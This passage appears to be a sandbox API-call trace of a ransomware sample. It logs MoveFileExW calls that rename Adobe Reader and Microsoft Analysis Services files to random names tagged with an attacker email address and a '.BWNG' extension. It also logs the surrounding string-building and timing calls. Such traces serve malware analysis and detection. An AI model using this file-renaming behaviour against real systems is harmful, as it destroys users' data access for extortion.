MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0088.240] GetTickCount () returned 0x115dedb [0088.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23019183868) returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0088.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0088.240] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Multimedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\multimedia.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].9tTpCHw9-N2eCThx7.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].9ttpchw9-n2ecthx7.bwng"), dwFlags=0x1) returned 1 [0088.241] GetTickCount () returned 0x115dedb [0088.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019308335) returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0088.241] GetTickCount () returned 0x115dedb [0088.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=23019339876) returned 1 [0088.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0088.242] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\[billwong73@yahoo.com].zFpoZNd2-uRTapOnX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\services\\[billwong73@yahoo.com].zfpoznd2-urtaponx.bwng"), dwFlags=0x1) returned 1 [0088.243] GetTickCount () returned 0x115dedb [0088.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019501570) returned 1 [0088.243] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\PDDom.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\pddom.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].jq5wPqVs-2NZk3sB4.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].jq5wpqvs-2nzk3sb4.bwng"), dwFlags=0x1) returned 1 [0088.244] GetTickCount () returned 0x115dedb [0088.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019618930) returned 1 [0088.244] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\BRdlang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\brdlang32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].YoWW4XG5-oMHCe42Z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].yoww4xg5-omhce42z.bwng"), dwFlags=0x1) returned 1 [0088.245] GetTickCount () returned 0x115dedb [0088.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019743297) returned 1 [0088.245] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DVA.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\dva.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].2XpwleFk-oSTQuYIM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].2xpwlefk-ostquyim.bwng"), dwFlags=0x1) returned 1 [0088.246] GetTickCount () returned 0x115dedb [0088.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23019857888) returned 1 [0088.247] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Search.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\search.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].hJrYcHXV-pIa5y7Rx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].hjrychxv-pia5y7rx.bwng"), dwFlags=0x1) returned 1 [0088.251] GetTickCount () returned 0x115deea [0088.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23020298542) returned 1 [0088.251] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\DigSig.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\digsig.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].zmApobGA-JaboP6QA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].zmapobga-jabop6qa.bwng"), dwFlags=0x1) returned 1 [0088.252] GetTickCount () returned 0x115deea [0088.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23020408527) returned 1 [0088.252] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\reflow.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\reflow.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].LUZbLFoo-MHPezYXt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].luzblfoo-mhpezyxt.bwng"), dwFlags=0x1) returned 1 [0088.253] GetTickCount () returned 0x115deea [0088.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23020564204) returned 1 [0088.254] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Spelling.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\spelling.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].bPdXcBTo-CxLnmNLD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].bpdxcbto-cxlnmnld.bwng"), dwFlags=0x1) returned 1 [0088.254] GetTickCount () returned 0x115deea [0088.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23020665403) returned 1 [0088.255] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\PPKLITE.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ppklite.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].LrozIas3-UrG1ouQK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].lrozias3-urg1ouqk.bwng"), dwFlags=0x1) returned 1 [0088.416] GetTickCount () returned 0x115df86 [0088.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23036798808) returned 1 [0088.416] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\updater.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\updater.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].SxXHoFxP-rVPOMcBi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].sxxhofxp-rvpomcbi.bwng"), dwFlags=0x1) returned 1 [0088.417] GetTickCount () returned 0x115df86 [0088.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23036931282) returned 1 [0088.417] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Annots.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\annots.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].7cUDN0zJ-XJrhTie8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].7cudn0zj-xjrhtie8.bwng"), dwFlags=0x1) returned 1 [0088.418] GetTickCount () returned 0x115df86 [0088.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037060752) returned 1 [0088.419] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\ReadOutLoud.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\readoutloud.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].93Dw21L4-PP2TsHke.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].93dw21l4-pp2tshke.bwng"), dwFlags=0x1) returned 1 [0088.420] GetTickCount () returned 0x115df86 [0088.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037199636) returned 1 [0088.420] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\DVA.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\dva.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].1Wbayhwz-3SElSMpf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].1wbayhwz-3selsmpf.bwng"), dwFlags=0x1) returned 1 [0088.421] GetTickCount () returned 0x115df96 [0088.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037328829) returned 1 [0088.421] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Reflow.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\reflow.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].SGXdKkBV-VtRZ4h1E.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].sgxdkkbv-vtrz4h1e.bwng"), dwFlags=0x1) returned 1 [0088.422] GetTickCount () returned 0x115df96 [0088.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037434877) returned 1 [0088.422] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].6o8PIYUt-UXygxZ6v.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].6o8piyut-uxygxz6v.bwng"), dwFlags=0x1) returned 1 [0088.423] GetTickCount () returned 0x115df96 [0088.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037759099) returned 1 [0088.426] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annots.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].chii7R0D-xFzU1jju.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].chii7r0d-xfzu1jju.bwng"), dwFlags=0x1) returned 1 [0088.427] GetTickCount () returned 0x115df96 [0088.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23037925223) returned 1 [0088.427] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].7tUVoHDC-mRH2WOmS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].7tuvohdc-mrh2woms.bwng"), dwFlags=0x1) returned 1 [0088.428] GetTickCount () returned 0x115df96 [0088.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038033554) returned 1 [0088.428] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].cCGQz3a1-X3LONu5Q.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].ccgqz3a1-x3lonu5q.bwng"), dwFlags=0x1) returned 1 [0088.429] GetTickCount () returned 0x115df96 [0088.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038153512) returned 1 [0088.429] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].k7dCJRc3-BE6exyHE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].k7dcjrc3-be6exyhe.bwng"), dwFlags=0x1) returned 1 [0088.430] GetTickCount () returned 0x115df96 [0088.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038267705) returned 1 [0088.431] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Search.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\search.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].v8owX1xA-IwRqjg1U.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].v8owx1xa-iwrqjg1u.bwng"), dwFlags=0x1) returned 1 [0088.431] GetTickCount () returned 0x115df96 [0088.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038374530) returned 1 [0088.432] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].pLGSKF2q-aAB84gM3.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].plgskf2q-aab84gm3.bwng"), dwFlags=0x1) returned 1 [0088.433] GetTickCount () returned 0x115df96 [0088.433] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038481738) returned 1 [0088.433] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\pddom.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\pddom.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].UwpTeeyK-ayL2L3Dv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].uwpteeyk-ayl2l3dv.bwng"), dwFlags=0x1) returned 1 [0088.434] GetTickCount () returned 0x115df96 [0088.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038603625) returned 1 [0088.434] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Spelling.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\spelling.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].gvnrH6Wf-mh3bxxSC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].gvnrh6wf-mh3bxxsc.bwng"), dwFlags=0x1) returned 1 [0088.435] GetTickCount () returned 0x115df96 [0088.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038713756) returned 1 [0088.435] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\DVA.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\dva.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].DcKNQj8c-dbcXPi4E.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].dcknqj8c-dbcxpi4e.bwng"), dwFlags=0x1) returned 1 [0088.436] GetTickCount () returned 0x115df96 [0088.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23038824002) returned 1 [0088.436] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\reflow.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\reflow.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].ARl0oyT0-Fq6X9xzm.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].arl0oyt0-fq6x9xzm.bwng"), dwFlags=0x1) returned 1 [0088.668] GetTickCount () returned 0x115e061 [0088.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23062001773) returned 1 [0088.668] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Acroform.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\acroform.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].iBt1K4iu-MD2vbW0n.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].ibt1k4iu-md2vbw0n.bwng"), dwFlags=0x1) returned 1 [0089.058] GetTickCount () returned 0x115e16a [0089.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101058756) returned 1 [0089.059] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\MakeAccessible.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\makeaccessible.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].LpT93123-jJJ26jvh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].lpt93123-jjj26jvh.bwng"), dwFlags=0x1) returned 1 [0089.060] GetTickCount () returned 0x115e16a [0089.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101268277) returned 1 [0089.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].72FeRPEJ-DqFtCgCu.BWNG" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].72ferpej-dqftcgcu.bwng"), dwFlags=0x1) returned 1 [0089.064] GetTickCount () returned 0x115e17a [0089.064] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101589462) returned 1 [0089.064] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DigSig.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\digsig.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].05CXTHM8-Bw1B8mjD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].05cxthm8-bw1b8mjd.bwng"), dwFlags=0x1) returned 1 [0089.065] GetTickCount () returned 0x115e17a [0089.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101724251) returned 1 [0089.065] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\ReadOutLoud.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\readoutloud.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\[billwong73@yahoo.com].8MNNuElF-hrnHpsGK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\[billwong73@yahoo.com].8mnnuelf-hrnhpsgk.bwng"), dwFlags=0x1) returned 1 [0089.066] GetTickCount () returned 